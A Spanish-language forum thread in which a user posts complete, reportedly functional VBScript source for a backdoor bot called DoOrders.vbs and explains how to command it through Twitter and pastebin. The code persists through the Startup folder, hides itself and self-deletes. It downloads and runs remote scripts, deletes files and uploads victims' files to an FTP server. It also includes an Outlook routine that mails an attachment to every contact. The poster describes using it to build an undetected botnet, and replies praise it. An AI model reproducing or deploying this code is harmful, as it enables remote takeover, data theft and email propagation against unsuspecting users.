[DoOrders.vbs] BackDoor controlado por twitter + pastebin.

(1/2) > >>

79137913:
HOLA!!!

Nota: Cambie el codigo por que el api de twitter cambio ahora solo tienen que twittear de la url de pastebin por ejemplo pastebin.com/hola1234 solo twitean /hola1234

Primero que nada les voy a explicar lo que es esto, es un sistema que recibe y ejecuta ordenes.

Las ordenes son las siguientes:
Código:

Para descargar un Archivo de texto (vbs o js ;D):
down[%]Link[%]Carpeta[%]NombreArchivo

Para ejecutar un archivo:
xcec[%]Carpeta[%]NombreArchivo

Para descargar y ejecutar un vbs o js:
dwne[%]Link[%]Carpeta[%]NombreArchivo

Para copiar un archivo:
copy[%]Carpeta1[%]NombreArchivo1[%]Carpeta2[%]NombreArchivo2

Para eliminar un archivo:
supr[%]Carpeta[%]NombreArchivo

Para ocultar un archivo:
hide[%]Carpeta[%]NombreArchivo

Para subir un archivo a un FTP:
ftpu[%]FTPServer[%]FTPPort[%]FTPUser[%]FTPPass[%]SPath[%]SFile[%]OrdNum

Para mostrar un cuadro de texto:
msgb[%]TextoAMostrar

Para hacer melt:
melt

Para cerrar:
clos

Para detener la orden actual:
nord

NOTA IMPORTANTE
En carpeta pueden poner la carpeta o cualquiera de estas palabras claves:
"MYPATH" esta es el path del script
"FULLPATHONFILENAME" esta tomara como path lo que coloquen en el nombre del archivo.
"STARTUP" esta es la carpeta de inicio (ejecucion automatica al iniciar windows)

Ustedes diran, por que solo descarga texto? Rta, FUD.
Y replicaran, pero como hago para que descargue y ejecute mi exe que es binario y no ascii? Rta, cifra a base64 y descifra con un script ;).
Continuando, este codigo lo use para armar una botnet en vbs, cual es la ventaja de esto? Rta, que si borran algun ejecutable malicioso no borran este archivo.

Se le pueden agregar mil funciones mas, pero recomiendo que si queres agregar usa el Descargar y Ejecutar VBS por si tu codigo es detectado.

Como se usa este sistema:

1ro: Crear una cuenta en twitter.
2do: Crear un pastebin con las ordenes a hacer.
3ro: Twittear SOLO la url de pastebin.
Nota: Cambie el codigo por que el api de twitter cambio ahora solo tienen que twittear de la url de pastebin por ejemplo pastebin.com/hola1234 solo twitean /hola1234
4to: Esperar y disfrutar XD.

El codigo, lo que esperaban:
Código
on error resume next
Dim Orders
Dim MyFullPath: MyFullPath = WScript.ScriptFullName
Dim MyPath: MyPath = Left(MyFullPath, InstrRev(MyFullPath, "\")-1)
Dim MyName: MyName = WScript.ScriptName
Dim user : user = "botiloveyou" 'Aca pone tu usuario de twitter
'FTP
Dim FTPData
Dim FTPCOMPLETE
Dim W1
Dim W2
'/FTP

Main
Sub Main()
If Not (CreateObject("scripting.filesystemobject").FileExists("C:\SS.ORD") and MyFullPath = ConvertPath("STARTUP",MyName)) Then
CreateObject("Scripting.FileSystemObject").CreateTextFile("C:\SS.ORD", True).WriteLine ("0")
CopyToStartUP MyPath , MyName
Hidefile "STARTUP", MyName
ExecuteFile "STARTUP", MyName
Melt
WScript.Quit (1)
End If
Do
DoOrders "[%]"
For x = 0 To 200
WScript.Sleep 10000
Next
Loop
End Sub
Sub DoOrders(OrdSeparator)
GetOrders
For x = 0 To UBound(Orders)
Ord = Split(Orders(x), OrdSeparator)
Select Case Ord(0)
Case "nord"
Exit For
Case "down" 'Download VBS
DownloadVBS Ord(1), Ord(2), Ord(3)
Case "xcec" 'Execute
ExecuteFile Ord(1), Ord(2)
Case "dwne" 'Download and Execute VBS
DownloadVBS Ord(1), Ord(2), Ord(3)
ExecuteFile Ord(2), Ord(3)
Case "copy" 'Copy
FileCopy Ord(1), Ord(2), Ord(3), Ord(4)
Case "supr" 'Delete
DeleteFile Ord(1), Ord(2)
Case "hide" 'Hide
HideFile Ord(1), Ord(2)
Case "melt" 'Melt
Melt
Case "ftpu" 'Upload to FTP
Set W1 = WScript.CreateObject("MSWINSOCK.Winsock", "W1_")
Set W2 = WScript.CreateObject("MSWINSOCK.Winsock", "W2_")
Call FTPUpload(Ord(1), Ord(2), Ord(3),Ord(4), Ord(5), Ord(6), Ord(7))
Set W1 = Nothing
Set W2 = Nothing
Case "msgb" 'MsgBox
Msgbox Ord(1)
Case "clos" 'Close
WScript.Quit (1)
End Select
Next
End Sub
Function LastOrderDone()
LastOrderDone = CreateObject("Scripting.FileSystemObject").OpenTextFile("C:\SS.ORD", 1).ReadAll
End Function
Sub ExecuteFile(SPath, SFile)
CreateObject("WScript.Shell").run """" & ConvertPath(SPath, SFile) & """"
End Sub
Sub FileCopy(Spath, SFile, Spath2, SFile2)
CreateObject("scripting.filesystemobject").CopyFile ConvertPath(Spath, SFile),ConvertPath(Spath2, SFile2),True
End Sub
Sub Melt()
DeleteFile "FULLPATHONFILENAME", MyFullPath
End Sub
Sub DeleteFile(SPath, SFile)
CreateObject("Scripting.FileSystemObject").DeleteFile ConvertPath(SPath, SFile)
End Sub
Sub DownloadVBS(Z, SPath, SFile)
Set xhttp = CreateObject("Microsoft.XmlHttp")
xhttp.open "GET", Z, False
xhttp.send ""
Z = xhttp.responseText
If CreateObject("scripting.filesystemobject").FileExists(ConvertPath(SPath, SFile)) Then CreateObject("Scripting.FileSystemObject").DeleteFile ConvertPath(SPath, SFile)
CreateObject("Scripting.FileSystemObject").CreateTextFile(ConvertPath(SPath, SFile), True).WriteLine (Z)
Set xhttp = Nothing
Do While Not CreateObject("scripting.filesystemobject").FileExists(ConvertPath(SPath, SFile))
WScript.Sleep 500
Loop
End Sub
Function ConvertPath(SPath, SFile)
If UCase(SPath) = "MYPATH" Then ConvertPath = CreateObject("Shell.Application").NameSpace(26).Self.Path: Exit Function
If UCase(SPath) = "FULLPATHONFILENAME" Then ConvertPath = SFile: Exit Function
If UCase(SPath) = "STARTUP" Then SPath = CreateObject("WScript.Shell").SpecialFolders("StartUp")
ConvertPath = SPath & "\" & SFile
End Function
Sub GetOrders()
Orders = Split("nord nord")
Dim Orden
Dim xhttp
Dim y
Dim URLPASTEBIN
Dim http : Set http = CreateObject("Microsoft.XmlHttp")
http.open "GET", "http://api.twitter.com/1/statuses/user_timeline/" & user & ".xml", False
http.send
y = split(http.responsetext,"<text>")
If ubound(y)>0 then
msgbox y(1)
URLPASTEBIN = "http://pastebin.com" & split(y(1),"</text>")(0) : set http = Nothing
msgbox urlpastebin
End if
Set xhttp = CreateObject("Microsoft.XmlHttp")
If CheckOrder(URLPASTEBIN) = 0 Then Exit Sub
xhttp.open "GET", URLPASTEBIN, False
xhttp.send ""
Z = LCase(xhttp.responseText)
Set xhttp = Nothing
Z = Replace(Split(Split(Z, "<textarea")(1), ">")(1), "</textarea", vbNullString)
Orders = Split(Z, vbNewLine)
End Sub
Sub HideFile(SPath, SFile)
CreateObject("scripting.filesystemobject").GetFile(ConvertPath(SPath, SFile)).Attributes = -2
End Sub
Sub CopyToStartUP(SPath, SFile)
CreateObject("scripting.filesystemobject").CopyFile ConvertPath(SPath, SFile), CreateObject("WScript.Shell").SpecialFolders("StartUp") & "\" & SFile, True
End Sub
Function FTPUpload(FTPServer, FTPPort, FTPUser, FTPPass, SPath, SFile, OrdNum)
W1.RemoteHost = FTPServer
W1.RemotePort = FTPPort
W1.Connect
If WaitResponse Then Exit Function
If FTPCODE <> 220 Then Exit Function
FTPData = ""
W1.SendData "USER " & FTPUser & vbCrLf
If WaitResponse Then Exit Function
If FTPCODE <> 331 Then Exit Function
FTPData = ""
W1.SendData "PASS " & FTPPass & vbCrLf
If WaitResponse Then Exit Function
If FTPCODE <> 230 Then Exit Function
FTPData = ""
W1.SendData "PASV" & vbCrLf
If WaitResponse Then Exit Function
If FTPCODE <> 227 Then Exit Function
Dim Aux
Aux = Split(FTPData, ",")
FTPDataPort = (Aux(UBound(Aux) - 1) * 256) + Left(Aux(UBound(Aux)), InStr(Aux(UBound(Aux)), ")") - 1)
FTPDataIP = Trim(Replace(Right(Aux(0), 3), "(", vbNullString)) & "." & Aux(1) & "." & Aux(2) & "." & Aux(3)
FTPData = ""
W1.SendData "STOR " & Int(Rnd() * 1000000) & Int(Rnd() * 1000000) & "." & OrdNum & vbCrLf
W2.RemotePort = FTPDataPort: W2.RemoteHost = FTPDataIP
W2.Connect
WaitResponse
If Not (FTPCODE = "125" Or FTPCODE = "150") Then Exit Function
FTPUpload = Upload(ConvertPath(SPath, SFile))
End Function
Function Upload(FilePath)
Dim UPFile
Dim FileLen
Dim TotalSent
Dim a
Set a = WScript.CreateObject("ADODB.Stream")
a.open
a.Type = 1
a.LoadFromFile (FilePath)
UPFile = a.Read()
FTPCOMPLETE = False
W2.SendData UPFile
EsperaSubida = 0
Do
WScript.Sleep 1000
EsperaSubida = EsperaSubida + 1
If SendIsComplete = 1 Then Upload = True: Exit Function
If EsperaSubida > 300 Then Exit Function
Loop
End Function
Sub W1_DataArrival(ByVal bytesTotal)
W1.GetData FTPData, 8
End Sub
Function SendIsComplete()
SendIsComplete = FTPCOMPLETE
End Function
Sub w2_SendComplete()
FTPCOMPLETE = 1
End Sub
Function WaitResponse()
Espera = 0
Do
WScript.Sleep 1000
Espera = Espera + 1
If Espera > 10 Then WaitResponse = 1: Exit Function
If FTPCODE <> 0 Then Exit Function
Loop
End Function
Function FTPCODE()
If Len(FTPData) > 3 Then FTPCODE = Left(FTPData, 3) Else FTPCODE = 0
End Function
Function uncif(Tweet)
Tweet = Replace(Tweet, Chr(32), vbNullString)
Movex = Left(Tweet, 1)
For x = 2 To Len(Tweet)
uncif = uncif & Chr(Asc(Mid(Tweet, x, 1)) + Movex)
Next
End Function
Function CheckOrder(expression)
Dim EscOrd
if instr(expression, "/") then
Set EscOrd = CreateObject("Scripting.FileSystemObject").OpenTextFile("c:\SS.ORD", 1)
Aux = EscOrd.ReadAll
Dim Aux2
Set EscOrd = Nothing
Aux2 = Split(Aux,VbNewLine)
For x = 0 to ubound(aux2)
If Replace(expression,"pastebin","google") = Aux2(x) then CheckOrder = 0: Exit Function
Next
set EscOrd = CreateObject("Scripting.FileSystemObject").CreateTextFile("c:\SS.ORD", True)
EscOrd.Write (Aux & VbNewLine & Replace(expression,"pastebin","google"))
EscOrd.Close
Set EscOrd = Nothing
CheckOrder = 1
end if
End Function
Sub SpreadOutLook(Message,Subject,SPath, SFile)
Set Contacts = WScript.CreateObject("Outlook.Application").GetNamespace("MAPI").GetDefaultFolder(10)
Cant = Contacts.Items.Count
For X = 1 to Cant
If Contacts.Items.Item(x).Email1Address <> "" Then
Set Email = CreateObject("Outlook.Application").CreateItem(0)
Email.To = Contacts.Items.Item(x).Email1Address
Email.Subject = Replace(Subject,"%nombre%",Contacts.Items.Item(x).FullName)
Email.ReadReceiptRequested = False
Email.HTMLBody = Replace(Message,"%nombre%",Contacts.Items.Item(x).FullName)
Email.Attachments.Add ConvertPath(SPath, SFile)
Email.Send
End If
next
End Sub

Nota: Mi version obviamente no es esa, usa encriptacion y otro sistema de tweets pero esa que deje es funcional al 100%.

GRACIAS POR LEER!!!

0x5d:
Genial :O , hace un tiempo hice algo similar, pero con un cliente en Python y realizaba las ordenes desde un .PHP al cliente Python y ejecutaba las ordenes

PD: Si no molesta, luego puedo subir el código.

Saludos !

Danyfirex:
Gracias 79137913 muy bonito código ;D

saludos

Eleкtro:
Cita de: 79137913 en 6 Diciembre 2012, 19:08 pm

4to: Esperar y disfrutar XD.

Una pena los que no disponemos de twitter para poner en práctica el trolleamiento la diversión... :xD

Me encantó lo que descubriste!

79137913:
HOLA!!!

@Electro Hacker:
Que descubri?

Si no tenes Twitter tenes que modificar la funcion GetOrders:
Código
Sub GetOrders()
Orders = Split("nord nord")
Dim Orden
Dim xhttp
Dim y
Dim URLPASTEBIN
Dim http : Set http = CreateObject("Microsoft.XmlHttp")
'########## aca es donde obtiene la url de pastebin, modifica la funcion #####
http.open "GET", "http://api.twitter.com/1/statuses/user_timeline/" & user & ".xml", False
http.send
y = split(http.responsetext,"<source>")
If ubound(y)>0 then
URLPASTEBIN = split(split(y(1),"</source>")(0),""")(1) : set http = Nothing
End if
'########## aca es donde obtiene la url de pastebin, modifica la funcion #####
Set xhttp = CreateObject("Microsoft.XmlHttp")
If CheckOrder(URLPASTEBIN) = 0 Then Exit Sub
xhttp.open "GET", URLPASTEBIN, False
xhttp.send ""
Z = LCase(xhttp.responseText)
Set xhttp = Nothing
Z = Replace(Split(Split(Z, "<textarea")(1), ">")(1), "</textarea", vbNullString)
Orders = Split(Z, vbNewLine)
End If
End Sub

Modificalo, queda en vos ponerle de donde queres que saque la direccion.
GRACIAS POR LEER!!!

Navegación

[0] Índice de Mensajes

[#] Página Siguiente